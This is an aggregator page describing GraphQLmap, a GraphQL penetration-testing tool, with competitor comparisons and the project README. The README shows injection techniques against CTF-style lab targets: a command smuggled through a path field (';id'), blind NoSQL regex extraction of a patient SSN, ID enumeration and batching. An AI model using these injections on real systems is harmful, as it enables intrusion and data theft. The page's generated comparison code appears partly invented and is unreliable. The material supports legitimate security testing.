Convert Figma logo to code with AI

swisskyrepo logoGraphQLmap

GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes. - Do not use for illegal testing ;)

1,357
191
1,357
19

Top Related Projects

1,517

InQL is a robust, open-source Burp Suite extension for advanced GraphQL testing, offering intuitive vulnerability detection, customizable scans, and seamless Burp integration.

Obtain GraphQL API schema even if the introspection is disabled

1,528

A GraphQL client in Python

A reference implementation of GraphQL for JavaScript

Quick Overview

GraphQLmap is a scripting engine designed to interact with GraphQL endpoints. It provides a set of tools for penetration testers and security researchers to explore, analyze, and potentially exploit vulnerabilities in GraphQL APIs. The project aims to simplify the process of testing GraphQL implementations for security issues.

Pros

  • Offers a comprehensive set of features for GraphQL API testing
  • Provides an interactive console for easy exploration and testing
  • Supports various attack techniques specific to GraphQL vulnerabilities
  • Actively maintained and updated with new features

Cons

  • Requires some knowledge of GraphQL and API security testing
  • Limited documentation for advanced features
  • May not work with all GraphQL implementations due to variations in server configurations
  • Potential for misuse if not used responsibly and ethically

Code Examples

  1. Basic query execution:
gqlmap > dump_schema
[+] Dumping GraphQL schema
[+] Schema dumped in 'schema.json'

gqlmap > exec_query {"query": "{ users { id, name, email } }"}
[+] Executing GraphQL query
[+] Result: {"data": {"users": [{"id": 1, "name": "John Doe", "email": "john@example.com"}, ...]}}
  1. Introspection query:
gqlmap > introspect
[+] Executing introspection query
[+] Introspection data saved to 'introspection.json'
  1. Mutation example:
gqlmap > exec_query {"query": "mutation { createUser(name: \"Alice\", email: \"alice@example.com\") { id, name, email } }"}
[+] Executing GraphQL mutation
[+] Result: {"data": {"createUser": {"id": 5, "name": "Alice", "email": "alice@example.com"}}}

Getting Started

To get started with GraphQLmap:

  1. Clone the repository:

    git clone https://github.com/swisskyrepo/GraphQLmap.git
    
  2. Install dependencies:

    cd GraphQLmap
    pip install -r requirements.txt
    
  3. Run GraphQLmap:

    python3 graphqlmap.py -h
    python3 graphqlmap.py -u http://example.com/graphql
    
  4. Use the interactive console to explore and test the GraphQL endpoint.

Competitor Comparisons

1,517

InQL is a robust, open-source Burp Suite extension for advanced GraphQL testing, offering intuitive vulnerability detection, customizable scans, and seamless Burp integration.

Pros of InQL

  • Integrates with Burp Suite, providing a familiar interface for security professionals
  • Offers a graphical user interface for easier navigation and visualization of GraphQL schemas
  • Supports automatic query generation based on the introspected schema

Cons of InQL

  • Requires Burp Suite, which may not be accessible to all users
  • Less focused on specific GraphQL attack techniques compared to GraphQLmap
  • May have a steeper learning curve for users not familiar with Burp Suite

Code Comparison

GraphQLmap example:

def exec_graphql(url, method, headers, query):
    if method == "POST":
        data = {"query": query}
        r = requests.post(url, json=data, headers=headers, verify=False)
    elif method == "GET":
        r = requests.get(url + "?query=" + quote(query), headers=headers, verify=False)
    return r.text

InQL example:

def query(self, query, variables=None):
    data = {'query': query}
    if variables:
        data['variables'] = variables
    headers = {'Content-Type': 'application/json'}
    response = self.http_client.post(self.url, json=data, headers=headers)
    return response.json()

Both projects provide methods for executing GraphQL queries, but InQL's implementation is more concise and includes support for variables. GraphQLmap offers separate handling for GET and POST requests, while InQL focuses on POST requests with JSON payloads.

Obtain GraphQL API schema even if the introspection is disabled

Pros of Clairvoyance

  • More focused on GraphQL introspection and schema analysis
  • Provides a user-friendly CLI interface
  • Actively maintained with recent updates

Cons of Clairvoyance

  • Limited to introspection and schema analysis, lacking broader attack capabilities
  • Less comprehensive documentation compared to GraphQLmap

Code Comparison

GraphQLmap:

def mutation(self):
    print("GraphQL mutation")
    resource = input("Name of the resource to create (e.g: user): ")
    fields = input("Fields of the resource (e.g: username,email): ").split(',')
    ...

Clairvoyance:

def introspect(self):
    query = self.get_introspection_query()
    result = self.execute_query(query)
    if result:
        self.schema = result['data']['__schema']
    ...

GraphQLmap offers a more interactive approach for crafting mutations, while Clairvoyance focuses on automated introspection and schema analysis. GraphQLmap provides a broader range of attack vectors, whereas Clairvoyance excels in detailed schema exploration. Both tools serve different purposes within GraphQL security testing, with GraphQLmap being more versatile for general testing and Clairvoyance specializing in schema analysis.

1,528

A GraphQL client in Python

Pros of gql

  • More comprehensive GraphQL client library with support for async operations
  • Actively maintained with regular updates and a larger community
  • Provides schema validation and type checking for GraphQL queries

Cons of gql

  • Steeper learning curve for beginners compared to GraphQLmap's simpler approach
  • Focused on client-side operations, lacking some security testing features of GraphQLmap

Code Comparison

GraphQLmap:

from graphqlmap import GraphQLmap

gqlmap = GraphQLmap("http://example.com/graphql")
result = gqlmap.execute_query("{ users { id name } }")
print(result)

gql:

from gql import gql, Client
from gql.transport.requests import RequestsHTTPTransport

transport = RequestsHTTPTransport(url="http://example.com/graphql")
client = Client(transport=transport, fetch_schema_from_transport=True)
query = gql("{ users { id name } }")
result = client.execute(query)
print(result)

Summary

GraphQLmap is a lightweight tool focused on security testing and exploration of GraphQL endpoints, while gql is a more comprehensive GraphQL client library for Python. GraphQLmap offers simplicity and security-oriented features, whereas gql provides a robust client implementation with schema validation and async support. The choice between the two depends on the specific use case and level of GraphQL integration required in a project.

A reference implementation of GraphQL for JavaScript

Pros of graphql-js

  • Comprehensive implementation of GraphQL specification in JavaScript
  • Widely adopted and maintained by the GraphQL Foundation
  • Extensive documentation and community support

Cons of graphql-js

  • Focused on server-side implementation, not security testing
  • Steeper learning curve for those new to GraphQL

Code Comparison

GraphQLmap:

def mutation_field(self):
    query = self.field_template("mutation")
    return self.execute(query)

graphql-js:

const schema = new GraphQLSchema({
  query: new GraphQLObjectType({
    name: 'Query',
    fields: {
      hello: {
        type: GraphQLString,
        resolve: () => 'Hello world!'
      }
    }
  })
});

Key Differences

  • GraphQLmap is a security testing tool for GraphQL endpoints
  • graphql-js is a reference implementation for building GraphQL servers and clients
  • GraphQLmap focuses on penetration testing and vulnerability assessment
  • graphql-js provides a foundation for developing GraphQL applications

Use Cases

GraphQLmap:

  • Security audits of GraphQL APIs
  • Identifying potential vulnerabilities in GraphQL implementations

graphql-js:

  • Building robust GraphQL servers
  • Developing GraphQL clients and tools
  • Implementing custom GraphQL schemas and resolvers

Convert Figma logo designs to code with AI

Visual Copilot

Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.

Try Visual Copilot

README

GraphQLmap

GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes.

I :heart: pull requests, feel free to improve this script :)

You can also contribute with a :beers: IRL or using Github Sponsoring button.

Install

$ git clone https://github.com/swisskyrepo/GraphQLmap
$ python setup.py install
$ graphqlmap                                                              
   _____                 _      ____  _                            
  / ____|               | |    / __ \| |                           
 | |  __ _ __ __ _ _ __ | |__ | |  | | |     _ __ ___   __ _ _ __  
 | | |_ | '__/ _` | '_ \| '_ \| |  | | |    | '_ ` _ \ / _` | '_ \ 
 | |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) |
  \_____|_|  \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/ 
                  | |                                       | |    
                  |_|                                       |_|    
                                         Author:Swissky Version:1.0
usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]] [--headers [HEADERS]] [--json [USE_JSON]] [--proxy [PROXY]]

optional arguments:
  -h, --help           show this help message and exit
  -u URL               URL to query : example.com/graphql?query={}
  -v [VERBOSITY]       Enable verbosity
  --method [METHOD]    HTTP Method to use interact with /graphql endpoint
  --headers [HEADERS]  HTTP Headers sent to /graphql endpoint
  --json [USE_JSON]    Use JSON encoding, implies POST
  --proxy [PROXY]      HTTP proxy to log requests

Development setup

python -m venv .venv
source .venv/bin/activate
pip install --editable .
pip install -r requirements.txt
./bin/graphqlmap -u http://127.0.0.1:5013/graphql

Features and examples

:warning: Examples are based on several CTF challenges from HIP2019.

Connect to a graphql endpoint

# Connect using POST and providing an authentication token
graphqlmap -u https://yourhostname.com/graphql -v --method POST --headers '{"Authorization" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXh0Ijoibm8gc2VjcmV0cyBoZXJlID1QIn0.JqqdOesC-R4LtOS9H0y7bIq-M8AGYjK92x4K3hcBA6o"}'

# Pass request through Burp Proxy
graphqlmap -u "http://172.17.0.1:5013/graphql" --proxy http://127.0.0.1:8080

Dump a GraphQL schema

Use dump_new to dump the GraphQL schema, this function will automatically populate the "autocomplete" with the found fields.
:movie_camera: Live Example

GraphQLmap > dump_new                     
============= [SCHEMA] ===============
e.g: name[Type]: arg (Type!)                   
                                                                                               
Query                                          
        doctor[]: email (String!),                                                             
        doctors[Doctor]:                                                                       
        patients[Patient]:                                                                     
        patient[]: id (ID!),                   
        allrendezvous[Rendezvous]:                                                             
        rendezvous[]: id (ID!),                                                                
Doctor                                         
        id[ID]:                                                                                
        firstName[String]:                     
        lastName[String]:                                                                      
        specialty[String]:                     
        patients[None]: 
        rendezvous[None]: 
        email[String]: 
        password[String]: 
[...]

Interact with a GraphQL endpoint

Write a GraphQL request and execute it.

GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}
{
    "data": {
        "doctors": [
            {
                "firstName": "Admin",
                "id": "5d089c51dcab2d0032fdd08d",
                "lastName": "Admin"
            }
        ]
    }
}

It also works with mutations, they must be written in a single line.

# ./bin/graphqlmap -u http://127.0.0.1:5013/graphql --proxy http://127.0.0.1:8080 --method POST
GraphQLmap > mutation { importPaste(host:"localhost", port:80, path:"/ ; id", scheme:"http"){ result }}
{
    "data": {
        "importPaste": {
            "result": "uid=1000(dvga) gid=1000(dvga) groups=1000(dvga)\n"
        {
    {
{

GraphQL field fuzzing

Use GRAPHQL_INCREMENT and GRAPHQL_CHARSET to fuzz a parameter.
:movie_camera: Live Example

Example 1 - Bruteforce a character

GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi!\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi$\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi%\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi(\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi)\"} }"){firstName lastName id}}   
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi*\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi+\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi,\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi-\"} }"){firstName lastName id}}   
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi.\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi/\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi0\"} }"){firstName lastName id}}   
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi1\"} }"){firstName lastName id}}     
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi?\"} }"){firstName lastName id}}
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}

Example 2 - Iterate over a number

Use GRAPHQL_INCREMENT_ followed by a number.

GraphQLmap > { paste(pId: "GRAPHQL_INCREMENT_10") {id,title,content,public,userAgent} }
[+] Query: (45) { paste(pId: "0") {id,title,content,public,userAgent} }
[+] Query: (245) { paste(pId: "1") {id,title,content,public,userAgent} }
[+] Query: (371) { paste(pId: "2") {id,title,content,public,userAgent} }
[+] Query: (309) { paste(pId: "3") {id,title,content,public,userAgent} }
[+] Query: (311) { paste(pId: "4") {id,title,content,public,userAgent} }
[+] Query: (308) { paste(pId: "5") {id,title,content,public,userAgent} }
[+] Query: (375) { paste(pId: "6") {id,title,content,public,userAgent} }
[+] Query: (315) { paste(pId: "7") {id,title,content,public,userAgent} }
[+] Query: (336) { paste(pId: "8") {id,title,content,public,userAgent} }
[+] Query: (377) { paste(pId: "9") {id,title,content,public,userAgent} }

GraphQLmap > { paste(pId: "9") {id,title,content,public,userAgent} }
{ paste(pId: "9") {id,title,content,public,userAgent} }
{
    "data": {
        "paste": {
            "content": "I was excited to spend time with my wife without being interrupted by kids.",
            "id": "UGFzdGVPYmplY3Q6OQ==",
            "public": true,
            "title": "This is my first paste",
            "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0"
        }
    }
}

GraphQL Batching

GraphQL supports Request Batching. Batched requests are processed one after the other by GraphQL Use BATCHING_PLACEHOLDER before a query to send it multiple times inside a single request.

GraphQLmap > BATCHING_3 {__schema{ types{namea}}}
[+] Sending a batch of 3 queries
[+] Successfully received 3 outputs

GraphQLmap > BATCHING_2 {systemUpdate}
[+] Sending a batch of 2 queries
[+] Successfully received 2 outputs

NoSQLi injection

Use BLIND_PLACEHOLDER inside the query for the nosqli function.
:movie_camera: Live Example

GraphQLmap > nosqli
Query > {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}}
Check > 5d089c51dcab2d0032fdd08d
Charset > 0123456789abcdef-
[+] Data found: 4f537c0a-7da6-4acc-81e1-8c33c02ef3b
GraphQLmap >

SQL injection

GraphQLmap > postgresqli
GraphQLmap > mysqli
GraphQLmap > mssqli

Practice

TODO

  • GraphQL Field Suggestions
  • Generate mutation query
  • Unit tests
  • Handle node
{
  user {
    edges {
      node {
        username
      }
    }
  }
}